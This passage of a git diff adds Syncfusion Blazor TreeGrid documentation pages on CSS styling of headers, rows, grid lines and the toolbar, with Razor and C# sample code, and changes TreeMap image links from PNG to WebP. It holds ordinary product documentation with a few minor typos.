+        font-family: cursive;
+        border-radius: 10px;
+        padding: 0 6px;
+        min-width: 18px;
+        text-align: center;
+        line-height: 18px;
+        height: 18px;
+        display: inline-block;
+        margin-left: 4px;
+    }
+
+    /* Override sorting icons (ensure correct icon font family) */
+    ..e-treegrid .e-gridheader .e-icon-ascending::before,
+    .e-treegrid .e-gridheader .e-icon-descending::before {
+        font-family: 'e-icons' !important; /* required for glyphs to render */
+        font-weight: normal;
+        speak: none;
+    }
+    .e-treegrid .e-gridheader .e-icon-ascending::before {
+        content: '\e7a3'; /* Ascending icon code (verify for your theme/version) */
+    }
+    .e-treegrid .e-gridheader .e-icon-descending::before {
+        content: '\e7b6'; /* Descending icon code (verify for your theme/version) */
+    }
+
+    /* Optional: emphasize sorted header and provide better focus visibility */
+    .e-treegrid .e-headercell[aria-sort] {
+        background-color: #f3f9ff;
+    }
+    .e-treegrid .e-headercell:focus-visible {
+        outline: 2px solid #005a9e;
+        outline-offset: -2px;
+    }
+</style>
+
+@code {
+    public class BusinessObject
+    {
+        public int TaskId { get; set; }
+        public string TaskName { get; set; }
+        public DateOnly? StartDate { get; set; }
+        public TimeOnly? StartTime { get; set; }
+        public int Duration { get; set; }
+        public int Progress { get; set; }
+        public string Priority { get; set; }
+        public int? ParentId { get; set; }
+    }
+
+    public List<BusinessObject> TreeData = new List<BusinessObject>();
+
+    protected override void OnInitialized()
+    {
+        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", StartDate = new DateOnly(2021, 03, 02), StartTime = new TimeOnly(10, 00, 00), Duration = 10, Progress = 70, ParentId = null, Priority = "High" });
+        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", StartDate = new DateOnly(2021, 03, 04), StartTime = new TimeOnly(11, 30, 00), Duration = 4, Progress = 80, ParentId = 1, Priority = "Normal" });
+        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", StartDate = new DateOnly(2021, 03, 06), StartTime = new TimeOnly(12, 00, 00), Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
+        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", StartDate = new DateOnly(2021, 03, 08), StartTime = new TimeOnly(13, 30, 00), Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
+        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", StartDate = new DateOnly(2021, 07, 10), StartTime = new TimeOnly(14, 00, 00), Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
+        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", StartDate = new DateOnly(2021, 10, 12), StartTime = new TimeOnly(16, 00, 00), Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
+        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", StartDate = new DateOnly(2021, 10, 14), StartTime = new TimeOnly(17, 30, 00), Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
+        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", StartDate = new DateOnly(2021, 10, 16), StartTime = new TimeOnly(18, 00, 00), Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
+        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", StartDate = new DateOnly(2021, 02, 18), StartTime = new TimeOnly(19, 30, 00), Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
+    }
+}
+
+
+{% endhighlight %}
+
+{% endtabs %}
+
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrxtJBhJOqgvtXA?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2 %}
\ No newline at end of file
diff --git a/blazor/treegrid/style-and-appearance/style-and-appearance.md b/blazor/treegrid/style-and-appearance/style-and-appearance.md
new file mode 100644
index 0000000000..91e50b8798
--- /dev/null
+++ b/blazor/treegrid/style-and-appearance/style-and-appearance.md
@@ -0,0 +1,295 @@
+---
+layout: post
+title: Styling and Appearance in Blazor TreeGrid Component | Syncfusion
+description: Learn to customize the Syncfusion Blazor TreeGrid using CSS and Theme Studio, including headers, rows, alternate rows, and styling options.
+platform: Blazor
+control: TreeGrid
+documentation: ug
+---
+
+# Style and appearance in Syncfusion Blazor TreeGrid
+
+The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid supports visual customization using CSS and theme-based styling. Styles can be applied to various elements to match the application's design. Styling options are available for:
+
+- **TreeGrid root element:** Defines the overall appearance of the TreeGrid container.
+- **Alternate rows:** Applies styles to alternate rows for improved readability.
+- **Grid lines:** Controls the color and visibility of horizontal and vertical lines between cells.
+- **Headers and cells:** Customize header appearance and cell styling throughout the grid.
+
+**Override Default Styles:**
+
+Default styles such as **colors**, **typography**, **spacing**, and **borders** can be customized using CSS. Use browser developer tools to inspect the rendered HTML and identify relevant selectors. Where possible, use CSS variables or theme tokens to maintain consistency across components.
+
+```css
+.e-treegrid .e-headercell {
+    background-color: #333; /* Override the header background color */
+    color: #fff;
+}
+```
+
+Properties like **background-color**, **color**, **font-family**, and **padding** can be changed to match the TreeGrid layout design and improve visual consistency.
+
+![Change header background](../images/style-and-appearance/header-background.webp)
+**Using Theme Studio:**
+
+## CSS classes and their purposes
+
+The following table lists all CSS classes available in the TreeGrid for styling different sections:
+
+| Section |CSS class | Purpose of CSS class |
+| ----- | ----- | ----- |
+| **Root** | e-treegrid | Styles applied to the root element div of the TreeGrid control. |
+| **Header** | e-gridheader | Styles for the root element of the header. The thin line between header and content can be overridden here. |
+| | e-table | Styles applied to the table element of the TreeGrid header. Makes table width 100%. |
+| | e-columnheader | Styles for the **tr** element in the TreeGrid header. |
+| | e-headercell | Styles for **th** elements in the TreeGrid header. Override header background color and border color here. |
+| | e-headercelldiv | Styles for div elements within **th** elements in the header. Use to override header skeleton styling. |
+| **Body** | e-gridcontent | Styles for the root of the body content. Use to override background color of the body. |
+| | e-table | Styles for the table of the content. Makes table width 100%. |
+| | e-altrow | Styles for alternate rows of the TreeGrid. Override alternate row colors here. |
+| | e-rowcell | Styles for all cells in the TreeGrid. Override cell appearance and styling. |
+| | e-selectionbackground | Styles for selected rowcells of the TreeGrid. Override selection appearance. |
+| | e-hover | Styles added to rows when hovering over TreeGrid rows. |
+| **Pager** | e-pager | Styles for the root element of the pager. Change appearance, background color, and font color. |
+| | e-pagercontainer | Styles for numeric items of the pager. |
+| | e-parentmsgbar | Styles for pager information. |
+| **Summary** | e-gridfooter | Styles for the root of the summary div. |
+| | e-summaryrow | Styles for rows in TreeGrid summary. |
+| | e-summarycell | Styles for cells in summary rows. Override background color of summary cells. |
+
+## Customize the TreeGrid root element
+
+The **.e-treegrid** class styles the root container of the Blazor TreeGrid. Apply CSS to modify its appearance:
+
+```css
+.e-gridcontent, .e-gridheader {
+    font-family: cursive;
+}
+```
+
+Properties such as **font-family**, **background-color**, and spacing-related styles can be adjusted to align with the TreeGrid design. 
+
+![TreeGrid root element](../images/style-and-appearance/style-font-family.webp)
+
+Additional styling can be applied to rows, alternate rows, selected rows, and hover states. Avoid using `!important` for hover styles in production environments. Instead, increase selector specificity to maintain consistent styling control.
+
+
+
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.TreeGrid;
+
+<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1">
+    <TreeGridColumns>
+        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
+        <TreeGridColumn Field="StartDate" HeaderText="Start Date" Format="d" Type="Syncfusion.Blazor.Grids.ColumnType.DateOnly" Width="152" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="StartTime" HeaderText="Start Time" Type="Syncfusion.Blazor.Grids.ColumnType.TimeOnly" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+    </TreeGridColumns>
+</SfTreeGrid>
+<style>
+    .e-gridcontent, .e-gridheader {
+        font-family: cursive;
+    }
+
+    /* Prefer specificity over !important for hover */
+    .e-treegrid .e-gridcontent .e-row:hover .e-rowcell {
+        background-color: rgb(204, 229, 255);
+    }
+
+    .e-treegrid .e-rowcell.e-selectionbackground {
+        background-color: rgb(230, 230, 250);
+    }
+
+    .e-treegrid .e-row.e-altrow {
+        background-color: rgb(150, 212, 212);
+    }
+
+    .e-treegrid .e-row {
+        background-color: rgb(180, 180, 180);
+    }
+
+    /* Optional: keyboard focus visibility */
+    .e-treegrid .e-row:focus-visible .e-rowcell {
+        outline: 2px solid #005a9e;
+        outline-offset: -2px;
+    }
+</style>
+
+@code {
+    public class BusinessObject
+    {
+        public int TaskId { get; set; }
+        public string TaskName { get; set; }
+        public DateOnly? StartDate { get; set; }
+        public TimeOnly? StartTime { get; set; }
+        public int Duration { get; set; }
+        public int Progress { get; set; }
+        public string Priority { get; set; }
+        public int? ParentId { get; set; }
+    }
+
+    public List<BusinessObject> TreeData = new List<BusinessObject>();
+
+    protected override void OnInitialized()
+    {
+        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", StartDate = new DateOnly(2021, 03, 02), StartTime = new TimeOnly(10, 00, 00), Duration = 10, Progress = 70, ParentId = null, Priority = "High" });
+        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", StartDate = new DateOnly(2021, 03, 04), StartTime = new TimeOnly(11, 30, 00), Duration = 4, Progress = 80, ParentId = 1, Priority = "Normal" });
+        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", StartDate = new DateOnly(2021, 03, 06), StartTime = new TimeOnly(12, 00, 00), Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
+        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", StartDate = new DateOnly(2021, 03, 08), StartTime = new TimeOnly(13, 30, 00), Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
+        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", StartDate = new DateOnly(2021, 07, 10), StartTime = new TimeOnly(14, 00, 00), Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
+        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", StartDate = new DateOnly(2021, 10, 12), StartTime = new TimeOnly(16, 00, 00), Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
+        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", StartDate = new DateOnly(2021, 10, 14), StartTime = new TimeOnly(17, 30, 00), Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
+        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", StartDate = new DateOnly(2021, 10, 16), StartTime = new TimeOnly(18, 00, 00), Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
+        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", StartDate = new DateOnly(2021, 02, 18), StartTime = new TimeOnly(19, 30, 00), Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
+    }
+}
+{% endhighlight %}
+{% endtabs %}
+
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjhdjfhhTZDovGda?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2" %}
+
+## Customize alternate rows
+
+The **.e-altrow .e-rowcell** selector styles cells in alternate rows in the Blazor TreeGrid.
+
+```css
+.e-treegrid .e-altrow .e-rowcell {
+    background-color: #E8EEFA;
+}
+```
+
+Adjust properties like **background-color**, **font-family**, and **border** to maintain consistent styling across the TreeGrid.
+
+![Alternate row styling with frozen columns](../images/style-and-appearance/style-frozen.webp)
+
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
+@using Syncfusion.Blazor.TreeGrid;
+
+<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1">
+    <TreeGridColumns>
+        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" IsFrozen="true" Freeze="Syncfusion.Blazor.Grids.FreezeDirection.Left" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
+        <TreeGridColumn Field="StartDate" HeaderText="Start Date" Format="d" Type="Syncfusion.Blazor.Grids.ColumnType.DateOnly" Width="152" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="StartTime" HeaderText="Start Time" Type="Syncfusion.Blazor.Grids.ColumnType.TimeOnly" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+    </TreeGridColumns>
+</SfTreeGrid>
+<style>
+    .e-treegrid .e-altrow .e-rowcell {
+        background-color: #E8EEFA;
+    }
+</style>
+@code {
+    public class BusinessObject
+    {
+        public int TaskId { get; set; }
+        public string TaskName { get; set; }
+        public DateOnly? StartDate { get; set; }
+        public TimeOnly? StartTime { get; set; }
+        public int Duration { get; set; }
+        public int Progress { get; set; }
+        public string Priority { get; set; }
+        public int? ParentId { get; set; }
+    }
+
+    public List<BusinessObject> TreeData = new List<BusinessObject>();
+
+    protected override void OnInitialized()
+    {
+        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", StartDate = new DateOnly(2021, 03, 02), StartTime = new TimeOnly(10, 00, 00), Duration = 10, Progress = 70, ParentId = null, Priority = "High" });
+        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", StartDate = new DateOnly(2021, 03, 04), StartTime = new TimeOnly(11, 30, 00), Duration = 4, Progress = 80, ParentId = 1, Priority = "Normal" });
+        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", StartDate = new DateOnly(2021, 03, 06), StartTime = new TimeOnly(12, 00, 00), Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
+        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", StartDate = new DateOnly(2021, 03, 08), StartTime = new TimeOnly(13, 30, 00), Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
+        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", StartDate = new DateOnly(2021, 07, 10), StartTime = new TimeOnly(14, 00, 00), Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
+        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", StartDate = new DateOnly(2021, 10, 12), StartTime = new TimeOnly(16, 00, 00), Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
+        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", StartDate = new DateOnly(2021, 10, 14), StartTime = new TimeOnly(17, 30, 00), Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
+        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", StartDate = new DateOnly(2021, 10, 16), StartTime = new TimeOnly(18, 00, 00), Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
+        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", StartDate = new DateOnly(2021, 02, 18), StartTime = new TimeOnly(19, 30, 00), Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
+    }
+}
+
+ 
+{% endhighlight %}
+{% endtabs %}
+
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LtVHZTLLfZmyOSzU?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2" %}
+
+## Customize the color of grid lines
+
+The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid allows customization of grid lines to match application design requirements. Apply CSS to structural elements such as header cells, row cells, and the grid container to control color, thickness, and border style.
+
+The [GridLines](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_GridLines) property defines border visibility and supports options for `Horizontal`, `Vertical`, `Both`, or `None`.
+
+```css
+    /* Customize the color of grid lines */
+    .e-treegrid .e-gridheader, .e-treegrid .e-headercell, .e-treegrid .e-rowcell, .e-treegrid {
+        border-color: yellow;
+        border-style: solid;
+        border-width: 2px;
+    }
+
+```
+
+![TreeGrid lines with custom borders](../images/style-and-appearance/grid-line.webp)
+
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
+@using Syncfusion.Blazor.TreeGrid;
+
+<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1">
+    <TreeGridColumns>
+        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" IsFrozen="true" Freeze="Syncfusion.Blazor.Grids.FreezeDirection.Left" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
+        <TreeGridColumn Field="StartDate" HeaderText="Start Date" Format="d" Type="Syncfusion.Blazor.Grids.ColumnType.DateOnly" Width="152" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="StartTime" HeaderText="Start Time" Type="Syncfusion.Blazor.Grids.ColumnType.TimeOnly" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+    </TreeGridColumns>
+</SfTreeGrid>
+<style>
+    .e-grid .e-gridheader, .e-grid .e-headercell, .e-grid .e-rowcell, .e-grid {
+        border-color: yellow;
+        border-style: solid;
+        border-width: 2px;
+    }
+</style>
+@code {
+    public class BusinessObject
+    {
+        public int TaskId { get; set; }
+        public string TaskName { get; set; }
+        public DateOnly? StartDate { get; set; }
+        public TimeOnly? StartTime { get; set; }
+        public int Duration { get; set; }
+        public int Progress { get; set; }
+        public string Priority { get; set; }
+        public int? ParentId { get; set; }
+    }
+
+    public List<BusinessObject> TreeData = new List<BusinessObject>();
+
+    protected override void OnInitialized()
+    {
+        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", StartDate = new DateOnly(2021, 03, 02), StartTime = new TimeOnly(10, 00, 00), Duration = 10, Progress = 70, ParentId = null, Priority = "High" });
+        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", StartDate = new DateOnly(2021, 03, 04), StartTime = new TimeOnly(11, 30, 00), Duration = 4, Progress = 80, ParentId = 1, Priority = "Normal" });
+        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", StartDate = new DateOnly(2021, 03, 06), StartTime = new TimeOnly(12, 00, 00), Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
+        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", StartDate = new DateOnly(2021, 03, 08), StartTime = new TimeOnly(13, 30, 00), Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
+        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", StartDate = new DateOnly(2021, 07, 10), StartTime = new TimeOnly(14, 00, 00), Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
+        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", StartDate = new DateOnly(2021, 10, 12), StartTime = new TimeOnly(16, 00, 00), Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
+        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", StartDate = new DateOnly(2021, 10, 14), StartTime = new TimeOnly(17, 30, 00), Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
+        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", StartDate = new DateOnly(2021, 10, 16), StartTime = new TimeOnly(18, 00, 00), Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
+        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", StartDate = new DateOnly(2021, 02, 18), StartTime = new TimeOnly(19, 30, 00), Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
+    }
+}
+
+ 
+{% endhighlight %}
+{% endtabs %}
+
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VDhnZzBhpMMBfcws?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2" %}
\ No newline at end of file
diff --git a/blazor/treegrid/style-and-appearance/toolbar.md b/blazor/treegrid/style-and-appearance/toolbar.md
new file mode 100644
index 0000000000..e5a1a9404d
--- /dev/null
+++ b/blazor/treegrid/style-and-appearance/toolbar.md
@@ -0,0 +1,102 @@
+---
+layout: post
+title: Toolbar styling in Blazor TreeGrid using CSS | Syncfusion
+description: Learn how to customize the Syncfusion Blazor TreeGrid toolbar using CSS, including styling the toolbar container and buttons with CSS isolation tips.
+platform: Blazor
+control: TreeGrid
+documentation: ug
+---
+
+# Toolbar customization in Syncfusion Blazor TreeGrid
+
+The appearance of toolbar elements in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid can be customized using CSS. Styling options are available for different parts of the toolbar interface:
+
+- **Toolbar root container:** The outer wrapper that contains all toolbar items.
+- **Toolbar buttons:**  Shows interactive elements used for actions such as Add, Edit, Delete, Update, and Cancel.
+
+## Customize the toolbar root element
+
+The **.e-toolbar-items** class styles the toolbar root container in the Blazor TreeGrid. This container holds all toolbar items and can be styled using CSS:
+
+```css
+.e-treegrid .e-toolbar .e-toolbar-items {
+     background-color: #deecf9;
+ }
+```
+Properties such as **background-color**, **padding**, **border**, and **box-shadow** can be modified to suit the layout design.
+
+![Grid toolbar root element](../images/style-and-appearance/toolbar1.webp)
+
+## Customize the toolbar button elements
+
+The **.e-btn** class inside **.e-toolbar** defines the appearance of toolbar buttons in the Blazor TreeGrid. Apply CSS to customize their styling:
+```css
+.e-treegrid .e-toolbar .e-btn {
+    background-color: #deecf9;
+ }
+```
+Properties such as **background-color**, **color**, **border**, **font-size**, and **padding** can be adjusted to align with the design. Ensure that customized colors meet WCAG contrast guidelines and that focus indicators remain visible for keyboard navigation.
+
+![Grid toolbar button element](../images/style-and-appearance/toolbar2.webp)
+
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.TreeGrid;
+
+<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1" Toolbar="@(new List<string> { "Add", "Edit" , "ExpandAll", "CollaspeAll" })">
+    <TreeGridEditSettings AllowAdding="true" AllowEditing="true" AllowDeleting="true" Mode="EditMode.Row"></TreeGridEditSettings>
+    <TreeGridColumns>
+        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
+        <TreeGridColumn Field="StartDate" HeaderText="Start Date" Format="d" Type="Syncfusion.Blazor.Grids.ColumnType.DateOnly" Width="152" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="StartTime" HeaderText="Start Time" Type="Syncfusion.Blazor.Grids.ColumnType.TimeOnly" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+    </TreeGridColumns>
+</SfTreeGrid>
+
+<style>
+    .e-treegrid .e-toolbar .e-toolbar-items {
+         background-color: #deecf9;
+     }
+    .e-treegrid .e-toolbar .e-btn {
+             background-color: #deecf9;
+     }
+</style>
+
+@code {
+    public class BusinessObject
+    {
+        public int TaskId { get; set; }
+        public string TaskName { get; set; }
+        public DateOnly? StartDate { get; set; }
+        public TimeOnly? StartTime { get; set; }
+        public int Duration { get; set; }
+        public int Progress { get; set; }
+        public string Priority { get; set; }
+        public int? ParentId { get; set; }
+    }
+
+    public List<BusinessObject> TreeData = new List<BusinessObject>();
+
+    protected override void OnInitialized()
+    {
+        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", StartDate = new DateOnly(2021, 03, 02), StartTime = new TimeOnly(10, 00, 00), Duration = 10, Progress = 70, ParentId = null, Priority = "High" });
+        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", StartDate = new DateOnly(2021, 03, 04), StartTime = new TimeOnly(11, 30, 00), Duration = 4, Progress = 80, ParentId = 1, Priority = "Normal" });
+        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", StartDate = new DateOnly(2021, 03, 06), StartTime = new TimeOnly(12, 00, 00), Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
+        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", StartDate = new DateOnly(2021, 03, 08), StartTime = new TimeOnly(13, 30, 00), Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
+        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", StartDate = new DateOnly(2021, 07, 10), StartTime = new TimeOnly(14, 00, 00), Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
+        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", StartDate = new DateOnly(2021, 10, 12), StartTime = new TimeOnly(16, 00, 00), Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
+        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", StartDate = new DateOnly(2021, 10, 14), StartTime = new TimeOnly(17, 30, 00), Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
+        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", StartDate = new DateOnly(2021, 10, 16), StartTime = new TimeOnly(18, 00, 00), Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
+        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", StartDate = new DateOnly(2021, 02, 18), StartTime = new TimeOnly(19, 30, 00), Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
+    }
+}
+
+
+{% endhighlight %}
+
+{% endtabs %}
+
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNBdXfBBzwxxUVoB?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2" %}
\ No newline at end of file
diff --git a/blazor/treemap/color-mapping.md b/blazor/treemap/color-mapping.md
index 2dc1cc6fb1..345a6e56b2 100644
--- a/blazor/treemap/color-mapping.md
+++ b/blazor/treemap/color-mapping.md
@@ -44,7 +44,7 @@ Color mapping is used to customize the color for each group or item based on the
 }
 ```
 
-![Blazor TreeMap with Color Mapping](images/Colormapping/blazor-treemap-color-mapping.png)
+![Blazor TreeMap with Color Mapping](images/Colormapping/blazor-treemap-color-mapping.webp)
 
 ## Equal color mapping
 
@@ -82,7 +82,7 @@ Equal color mapping is used to fill colors to each item by specifying equal valu
 }
 ```
 
-![Blazor TreeMap with Equal Color Mapping](images/Colormapping/blazor-treemap-equal-color-mapping.png)
+![Blazor TreeMap with Equal Color Mapping](images/Colormapping/blazor-treemap-equal-color-mapping.webp)
 
 ## Desaturation color mapping
 
@@ -103,7 +103,7 @@ Desaturation color mapping is used to apply colors to the items based on the [Mi
 
 N> Refer to the [code block](#range-color-mapping) to know about the property value of the **Fruits**.
 
-![Blazor TreeMap with Desaturation Color Mapping](images/Colormapping/blazor-treemap-desaturation-color-mapping.png)
+![Blazor TreeMap with Desaturation Color Mapping](images/Colormapping/blazor-treemap-desaturation-color-mapping.webp)
 
 ## Desaturation with multiple colors
 
@@ -124,7 +124,7 @@ Multiple colors are used to provide gradient effect to the TreeMap items based o
 
 N> Refer to the [code block](#range-color-mapping) to know about the property value of **Fruits**.
 
-![Multiple Color Mapping in Blazor TreeMap with Desaturation](images/Colormapping/blazor-treemap-desaturation-with-multiple-color.png)
+![Multiple Color Mapping in Blazor TreeMap with Desaturation](images/Colormapping/blazor-treemap-desaturation-with-multiple-color.webp)
 
 ## Palette color mapping
 
@@ -140,7 +140,7 @@ N> Refer to the [code block](#range-color-mapping) to know about the property va
 
 N> Refer to the [code block](#equal-color-mapping) to know about the property value of **Cars**.
 
-![Blazor TreeMap with Palette Color Mapping](images/Colormapping/blazor-treemap-palette-color-mapping.png)
+![Blazor TreeMap with Palette Color Mapping](images/Colormapping/blazor-treemap-palette-color-mapping.webp)
 
 ## Color for items excluded from color mapping
 
@@ -162,7 +162,7 @@ Get the excluded ranges from data source using the color mapping and apply the s
 
